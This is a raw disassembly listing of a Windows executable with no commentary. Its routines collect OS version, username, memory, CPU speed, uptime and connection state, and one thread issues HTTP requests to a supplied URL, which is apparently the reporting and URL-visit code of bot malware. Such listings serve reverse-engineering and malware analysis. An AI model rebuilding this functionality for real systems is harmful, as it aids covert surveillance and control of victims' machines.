jmp short loc_41AEBD
; ---------------------------------------------------------------------------
loc_41AEBC: ; CODE XREF: sub_41AD24+192j
dec edi
loc_41AEBD: ; CODE XREF: sub_41AD24+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43D0D8
push eax
call sub_41BEF6
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_26C]
push eax
call sub_415F45
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41AD24 endp
; =============== S U B R O U T I N E =======================================
sub_41AF01 proc near ; CODE XREF: sub_401AA1+253Ep
; sub_401AA1+2998p ...
arg_0 = dword ptr 4
push esi
push edi
call dword_4280B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_4DE590
push 32h
push esi
call sub_41BFF0
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_41AF01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF54 proc near ; CODE XREF: sub_4174AA+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call dword_4280D0 ; GetVersionExA
test eax, eax
jz short loc_41AFE6
cmp [ebp+var_90], 4
jnz short loc_41AFBC
cmp [ebp+var_8C], esi
jnz short loc_41AFA4
cmp [ebp+var_84], 1
jnz short loc_41AF96
inc esi
loc_41AF96: ; CODE XREF: sub_41AF54+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AFE6
xor esi, esi
inc esi
jmp short loc_41AFE6
; ---------------------------------------------------------------------------
loc_41AFA4: ; CODE XREF: sub_41AF54+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AFB1
loc_41AFAD: ; CODE XREF: sub_41AF54+77j
push 2
jmp short loc_41AFE5
; ---------------------------------------------------------------------------
loc_41AFB1: ; CODE XREF: sub_41AF54+57j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AFE6
jmp short loc_41AFD6
; ---------------------------------------------------------------------------
loc_41AFBC: ; CODE XREF: sub_41AF54+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AFE6
cmp [ebp+var_8C], esi
jz short loc_41AFAD
cmp [ebp+var_8C], 1
jnz short loc_41AFDA
loc_41AFD6: ; CODE XREF: sub_41AF54+66j
push 3
jmp short loc_41AFE5
; ---------------------------------------------------------------------------
loc_41AFDA: ; CODE XREF: sub_41AF54+80j
cmp [ebp+var_8C], 2
jnz short loc_41AFE6
push 7
loc_41AFE5: ; CODE XREF: sub_41AF54+5Bj
; sub_41AF54+84j
pop esi
loc_41AFE6: ; CODE XREF: sub_41AF54+25j
; sub_41AF54+49j ...
mov eax, esi
pop esi
leave
retn
sub_41AF54 endp
; =============== S U B R O U T I N E =======================================
sub_41AFEB proc near ; CODE XREF: sub_41B0A1+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_41AFF3: ; CODE XREF: sub_41AFEB+2Fj
; sub_41AFEB+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_428080 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_41DAB0
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_41AFF3
jb short loc_41B022
cmp ebx, edi
ja short loc_41AFF3
loc_41B022: ; CODE XREF: sub_41AFEB+31j
push 0
push 64h
push esi
push ebx
call sub_41DB20
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_41B095
jb short loc_41B041
cmp edi, 50h
jnb short loc_41B046
loc_41B041: ; CODE XREF: sub_41AFEB+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41B046: ; CODE XREF: sub_41AFEB+54j
test ecx, ecx
ja short loc_41B095
jb short loc_41B051
cmp edi, 47h
jnb short loc_41B056
loc_41B051: ; CODE XREF: sub_41AFEB+5Fj
push 42h
xor edx, edx
pop eax
loc_41B056: ; CODE XREF: sub_41AFEB+64j
test ecx, ecx
ja short loc_41B095
jb short loc_41B061
cmp edi, 37h
jnb short loc_41B066
loc_41B061: ; CODE XREF: sub_41AFEB+6Fj
push 32h
xor edx, edx
pop eax
loc_41B066: ; CODE XREF: sub_41AFEB+74j
test ecx, ecx
ja short loc_41B095
jb short loc_41B071
cmp edi, 26h
jnb short loc_41B076
loc_41B071: ; CODE XREF: sub_41AFEB+7Fj
push 21h
xor edx, edx
pop eax
loc_41B076: ; CODE XREF: sub_41AFEB+84j
test ecx, ecx
ja short loc_41B095
jb short loc_41B081
cmp edi, 1Eh
jnb short loc_41B086
loc_41B081: ; CODE XREF: sub_41AFEB+8Fj
push 19h
xor edx, edx
pop eax
loc_41B086: ; CODE XREF: sub_41AFEB+94j
test ecx, ecx
ja short loc_41B095
jb short loc_41B091
cmp edi, 0Ah
jnb short loc_41B095
loc_41B091: ; CODE XREF: sub_41AFEB+9Fj
xor eax, eax
xor edx, edx
loc_41B095: ; CODE XREF: sub_41AFEB+4Dj
; sub_41AFEB+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_41AFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0A1 proc near ; CODE XREF: sub_401AA1+26E9p
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_4404C4
mov [ebp+var_CC], 94h
call dword_4280D0 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B128
cmp [ebp+var_C4], ebx
jnz short loc_41B104
cmp [ebp+var_BC], 1
jnz short loc_41B0EE
mov [ebp+var_4], offset a95 ; "95"
loc_41B0EE: ; CODE XREF: sub_41B0A1+44j
cmp [ebp+var_BC], 2
jnz loc_41B1A3
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41B174
; ---------------------------------------------------------------------------
loc_41B104: ; CODE XREF: sub_41B0A1+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B116
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41B16B
; ---------------------------------------------------------------------------
loc_41B116: ; CODE XREF: sub_41B0A1+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B164
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41B16B
; ---------------------------------------------------------------------------
loc_41B128: ; CODE XREF: sub_41B0A1+33j
cmp [ebp+var_C8], 5
jnz short loc_41B164
cmp [ebp+var_C4], ebx
jnz short loc_41B142
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41B16B
; ---------------------------------------------------------------------------
loc_41B142: ; CODE XREF: sub_41B0A1+96j
cmp [ebp+var_C4], 1
jnz short loc_41B154
mov [ebp+var_4], offset aXp_0 ; "XP"
jmp short loc_41B16B
; ---------------------------------------------------------------------------
loc_41B154: ; CODE XREF: sub_41B0A1+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B16B
loc_41B164: ; CODE XREF: sub_41B0A1+7Cj
; sub_41B0A1+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41B16B: ; CODE XREF: sub_41B0A1+73j
; sub_41B0A1+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B1A3
loc_41B174: ; CODE XREF: sub_41B0A1+61j
cmp [ebp+var_B8], bl
jz short loc_41B1A3
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_438E04
push eax
call sub_41BEF6
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B1A3: ; CODE XREF: sub_41B0A1+54j
; sub_41B0A1+D1j ...
mov ax, word_43A7FC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CE1E8
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_41B1DC
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B1DC: ; CODE XREF: sub_41B0A1+12Cj
push [ebp+arg_4]
call sub_40A8D5
pop ecx
push eax
call dword_4CE348 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_4CE2C0 ; gethostbyaddr
cmp eax, ebx
jz short loc_41B205
push dword ptr [eax]
jmp short loc_41B20A
; ---------------------------------------------------------------------------
loc_41B205: ; CODE XREF: sub_41B0A1+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B20A: ; CODE XREF: sub_41B0A1+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41BEF6
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_42807C ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43D3D0
push ebx
mov esi, 409h
push ebx
push esi
call dword_428114 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_428110 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_4281A0 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C041
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_416FD0
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41AF01
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416EC1
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416EC1
pop ecx
pop ecx
push eax
call sub_41AFEB
push edx
push eax
push offset dword_43D2E8
push 200h
push [ebp+arg_0]
call sub_41BFF0
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41B0A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B355 proc near ; CODE XREF: sub_401AA1+2717p
; sub_401AA1+7156p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BC00
add esp, 0Ch
cmp dword_4CE3EC, 0
jnz short loc_41B3C9
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CE1CC ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_41B3AA
lea eax, [ebp+var_8C]
push offset dword_43D458
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_41B3AA: ; CODE XREF: sub_41B355+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_41B3C2
push offset dword_43D450
loc_41B3B8: ; CODE XREF: sub_41B355+72j
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp short loc_41B3E8
; ---------------------------------------------------------------------------
loc_41B3C2: ; CODE XREF: sub_41B355+5Cj
push offset off_43D44C
jmp short loc_41B3B8
; ---------------------------------------------------------------------------
loc_41B3C9: ; CODE XREF: sub_41B355+28j
mov esi, offset off_43D448
lea eax, [ebp+var_8]
push esi
push eax
call sub_41BEF6
lea eax, [ebp+var_8C]
push esi
push eax
call sub_41BEF6
add esp, 10h
loc_41B3E8: ; CODE XREF: sub_41B355+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43D3F8
push 200h
push [ebp+arg_0]
call sub_41BFF0
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B355 endp
; ---------------------------------------------------------------------------
loc_41B41B: ; DATA XREF: sub_401AA1+7501o
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+8]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp-35Ch]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp-148h]
push ebx
push eax
mov [ebp-0Ch], ebx
mov [ebp-4], ebx
mov dword ptr [ebp-8], offset dword_43D594
call sub_41BC00
push edi
lea eax, [ebp-1C8h]
push ebx
push eax
call sub_41BC00
push edi
lea eax, [ebp-0C8h]
push ebx
push eax
call sub_41BC00
push 100h
lea eax, [ebp-65Ch]
push ebx
push eax
call sub_41BC00
push 3Ch
lea eax, [ebp-48h]
pop edi
push edi
push ebx
push eax
call sub_41BC00
add esp, 3Ch
lea eax, [ebp-48h]
mov [ebp-48h], edi
mov [ebp-34h], esi
push eax
lea eax, [ebp-358h]
push ebx
push eax
mov [ebp-28h], esi
mov [ebp-20h], esi
mov [ebp-18h], esi
call sub_41B650
pop ecx
push eax
lea eax, [ebp-358h]
push eax
call dword_4CE204 ; InternetCrackUrlA
test eax, eax
jz loc_41B5BB
cmp [ebp-34h], ebx
jbe short loc_41B4F2
push dword ptr [ebp-34h]
lea eax, [ebp-148h]
push dword ptr [ebp-38h]
push eax
call sub_41BC60
add esp, 0Ch
loc_41B4F2: ; CODE XREF: .XPack0:0041B4DBj
cmp [ebp-28h], ebx
movzx esi, word ptr [ebp-30h]
jbe short loc_41B510
push dword ptr [ebp-28h]
lea eax, [ebp-1C8h]
push dword ptr [ebp-2Ch]
push eax
call sub_41BC60
add esp, 0Ch
loc_41B510: ; CODE XREF: .XPack0:0041B4F9j
cmp [ebp-20h], ebx
jbe short loc_41B52A
push dword ptr [ebp-20h]
lea eax, [ebp-0C8h]
push dword ptr [ebp-24h]
push eax
call sub_41BC60
add esp, 0Ch
loc_41B52A: ; CODE XREF: .XPack0:0041B513j
cmp [ebp-18h], ebx
jbe short loc_41B544
push dword ptr [ebp-18h]
lea eax, [ebp-65Ch]
push dword ptr [ebp-1Ch]
push eax
call sub_41BC60
add esp, 0Ch
loc_41B544: ; CODE XREF: .XPack0:0041B52Dj
push ebx
push ebx
lea eax, [ebp-0C8h]
push 3
push eax
lea eax, [ebp-1C8h]
push eax
lea eax, [ebp-148h]
push esi
push eax
push dword_4CE2B8
call dword_4CE2DC ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B5D1
push ebx
lea eax, [ebp-8]
push 200h
push eax
lea eax, [ebp-2D8h]
push eax
lea eax, [ebp-65Ch]
push ebx
push eax
push ebx
push esi
call dword_4CE2D0 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp-4], eax
jz short loc_41B5D8
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CE27C ; HttpSendRequestA
test eax, eax
lea eax, [ebp-55Ch]
jz short loc_41B5B4
push offset dword_43D578
jmp short loc_41B5E3
; ---------------------------------------------------------------------------
loc_41B5B4: ; CODE XREF: .XPack0:0041B5ABj
push offset unk_43D528
jmp short loc_41B5E3
; ---------------------------------------------------------------------------
loc_41B5BB: ; CODE XREF: .XPack0:0041B4D2j
lea eax, [ebp-55Ch]
push offset dword_43D4EC
push eax
call sub_41BEF6
mov esi, [ebp-0Ch]
jmp short loc_41B5E9
; ---------------------------------------------------------------------------
loc_41B5D1: ; CODE XREF: .XPack0:0041B56Ej
push offset unk_43D4AC
jmp short loc_41B5DD
; ---------------------------------------------------------------------------
loc_41B5D8: ; CODE XREF: .XPack0:0041B596j
push offset unk_43D468
loc_41B5DD: ; CODE XREF: .XPack0:0041B5D6j
lea eax, [ebp-55Ch]
loc_41B5E3: ; CODE XREF: .XPack0:0041B5B2j
; .XPack0:0041B5B9j
push eax
call sub_41BEF6
loc_41B5E9: ; CODE XREF: .XPack0:0041B5CFj
cmp [ebp-1D4h], ebx
pop ecx
pop ecx
jnz short loc_41B616
push ebx
lea eax, [ebp-55Ch]
push dword ptr [ebp-1D0h]
push eax
lea eax, [ebp-258h]
push eax
push dword ptr [ebp-35Ch]
call sub_409743
add esp, 14h
loc_41B616: ; CODE XREF: .XPack0:0041B5F1j
lea eax, [ebp-55Ch]
push eax
call sub_415F45
pop ecx
push esi
call dword_4CE33C ; InternetCloseHandle
push dword ptr [ebp-4]
call dword_4CE33C ; InternetCloseHandle
push dword ptr [ebp-1D8h]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
pop edi
pop esi
pop ebx
; ---------------------------------------------------------------------------
db 7 dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B650 proc near ; CODE XREF: sub_401000+38p
; sub_40121E+14Ap ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B670
loc_41B65C: ; CODE XREF: sub_41B650+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B6A3
test ecx, 3
jnz short loc_41B65C
add eax, 0
loc_41B670: ; CODE XREF: sub_41B650+Aj
; sub_41B650+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B670
mov eax, [ecx-4]
test al, al
jz short loc_41B6C1
test ah, ah
jz short loc_41B6B7
test eax, 0FF0000h
jz short loc_41B6AD
test eax, 0FF000000h
jz short loc_41B6A3
jmp short loc_41B670
; ---------------------------------------------------------------------------
loc_41B6A3: ; CODE XREF: sub_41B650+11j
; sub_41B650+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B6AD: ; CODE XREF: sub_41B650+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B650+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B650+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B650 endp
; =============== S U B R O U T I N E =======================================
sub_41B6CB proc near ; CODE XREF: sub_4010AA+62p
; sub_401AA1+57E7p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B6E0
or eax, 0FFFFFFFFh
jmp short loc_41B71A
; ---------------------------------------------------------------------------
loc_41B6E0: ; CODE XREF: sub_41B6CB+Ej
test al, 83h
jz short loc_41B718
push esi
call sub_41E22B
push esi
mov edi, eax
call sub_41E1C5
push dword ptr [esi+10h]
call sub_41E112
add esp, 0Ch
test eax, eax
jge short loc_41B706
or edi, 0FFFFFFFFh
jmp short loc_41B718
; ---------------------------------------------------------------------------
loc_41B706: ; CODE XREF: sub_41B6CB+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B718
push eax
call sub_41B721
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B718: ; CODE XREF: sub_41B6CB+17j
; sub_41B6CB+39j ...
mov eax, edi
loc_41B71A: ; CODE XREF: sub_41B6CB+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B6CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B721 proc near ; CODE XREF: sub_4010AA+5Cp
; sub_40A7FD+C3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B787
mov eax, dword_4DFC68
cmp eax, 3
jnz short loc_41B74D
push esi
call sub_41E517
pop ecx
test eax, eax
push esi
jz short loc_41B779
push eax
call sub_41E542
pop ecx
pop ecx
jmp short loc_41B787
; ---------------------------------------------------------------------------
loc_41B74D: ; CODE XREF: sub_41B721+14j
cmp eax, 2
jnz short loc_41B778
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F272
add esp, 0Ch
test eax, eax
jz short loc_41B778
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F2C9
add esp, 0Ch
jmp short loc_41B787
; ---------------------------------------------------------------------------
loc_41B778: ; CODE XREF: sub_41B721+2Fj
; sub_41B721+44j
push esi
loc_41B779: ; CODE XREF: sub_41B721+20j
push 0
push dword_4DFC64
call dword_428150 ; RtlFreeHeap
loc_41B787: ; CODE XREF: sub_41B721+Aj
; sub_41B721+2Aj ...
pop esi
leave
retn
sub_41B721 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B78A proc near ; CODE XREF: sub_4010AA+43p
; sub_40FD24+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B7AE
xor eax, eax
jmp loc_41B857
; ---------------------------------------------------------------------------
loc_41B7AE: ; CODE XREF: sub_41B78A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B7C1
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B7CD
; ---------------------------------------------------------------------------
loc_41B7C1: ; CODE XREF: sub_41B78A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B7CD
; ---------------------------------------------------------------------------
loc_41B7CA: ; CODE XREF: sub_41B78A+C4j
mov ecx, [ebp+arg_0]
loc_41B7CD: ; CODE XREF: sub_41B78A+35j
; sub_41B78A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B7FF
mov eax, [esi+4]
test eax, eax
jz short loc_41B7FF
cmp ecx, eax
mov edi, ecx
jb short loc_41B7E4
mov edi, eax
loc_41B7E4: ; CODE XREF: sub_41B78A+56j
push edi
push dword ptr [esi]
push ebx
call near ptr sub_41C9B0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B84A
; ---------------------------------------------------------------------------
loc_41B7FF: ; CODE XREF: sub_41B78A+49j
; sub_41B78A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B832
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B815
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B815: ; CODE XREF: sub_41B78A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F7BC
add esp, 0Ch
test eax, eax
jz short loc_41B85C
cmp eax, 0FFFFFFFFh
jz short loc_41B862
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B84A
; ---------------------------------------------------------------------------
loc_41B832: ; CODE XREF: sub_41B78A+78j
push esi
call sub_41F6E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B866
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B84A: ; CODE XREF: sub_41B78A+73j
; sub_41B78A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B7CA
mov eax, [ebp+arg_8]
loc_41B857: ; CODE XREF: sub_41B78A+1Fj
; sub_41B78A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B85C: ; CODE XREF: sub_41B78A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B866
; ---------------------------------------------------------------------------
loc_41B862: ; CODE XREF: sub_41B78A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B866: ; CODE XREF: sub_41B78A+B2j
; sub_41B78A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B857
sub_41B78A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B872 proc near ; CODE XREF: sub_4010AA+2Cp
; sub_41D643+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B88D
push [ebp+arg_4]
call sub_41BB45
pop ecx
jmp loc_41BB0D
; ---------------------------------------------------------------------------
loc_41B88D: ; CODE XREF: sub_41B872+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B8A2
push [ebp+arg_0]
call sub_41B721
pop ecx
jmp loc_41BB0B
; ---------------------------------------------------------------------------
loc_41B8A2: ; CODE XREF: sub_41B872+20j
mov eax, dword_4DFC68
cmp eax, 3
jnz loc_41B9B2
loc_41B8B0: ; CODE XREF: sub_41B872+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B98E
push [ebp+arg_0]
call sub_41E517
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B969
cmp esi, dword_4DFC60
ja short loc_41B922
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41ED20
add esp, 0Ch
test eax, eax
jnz short loc_41B91E
push esi
call sub_41E86B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B922
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B902
mov eax, esi
loc_41B902: ; CODE XREF: sub_41B872+8Cj
push eax
push ebx
push edi
call near ptr sub_41C9B0
push ebx
call sub_41E517
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E542
add esp, 18h
loc_41B91E: ; CODE XREF: sub_41B872+74j
test edi, edi
jnz short loc_41B965
loc_41B922: ; CODE XREF: sub_41B872+62j
; sub_41B872+81j
test esi, esi
jnz short loc_41B929
push 1
pop esi
loc_41B929: ; CODE XREF: sub_41B872+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DFC64
call dword_428154 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41B965
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B951
mov eax, esi
loc_41B951: ; CODE XREF: sub_41B872+DBj
push eax
push ecx
push edi
call near ptr sub_41C9B0
push [ebp+arg_0]
push ebx
call sub_41E542
add esp, 14h
loc_41B965: ; CODE XREF: sub_41B872+AEj
; sub_41B872+D0j
test ebx, ebx
jnz short loc_41B98A
loc_41B969: ; CODE XREF: sub_41B872+56j
test esi, esi
jnz short loc_41B970
push 1
pop esi
loc_41B970: ; CODE XREF: sub_41B872+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DFC64
call dword_4281A4 ; RtlReAllocateHeap
mov edi, eax
loc_41B98A: ; CODE XREF: sub_41B872+F5j
test edi, edi
jnz short loc_41B9AB
loc_41B98E: ; CODE XREF: sub_41B872+43j
cmp dword_4DE64C, 0
jz short loc_41B9AB
push esi
call sub_41F9B2
test eax, eax
pop ecx
jnz loc_41B8B0
jmp loc_41BB0B
; ---------------------------------------------------------------------------
loc_41B9AB: ; CODE XREF: sub_41B872+11Aj
; sub_41B872+123j ...
mov eax, edi
jmp loc_41BB0D
; ---------------------------------------------------------------------------
loc_41B9B2: ; CODE XREF: sub_41B872+38j
cmp eax, 2
jnz loc_41BACD
cmp esi, 0FFFFFFE0h
ja short loc_41B9CF
test esi, esi
jbe short loc_41B9CC
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B9CF
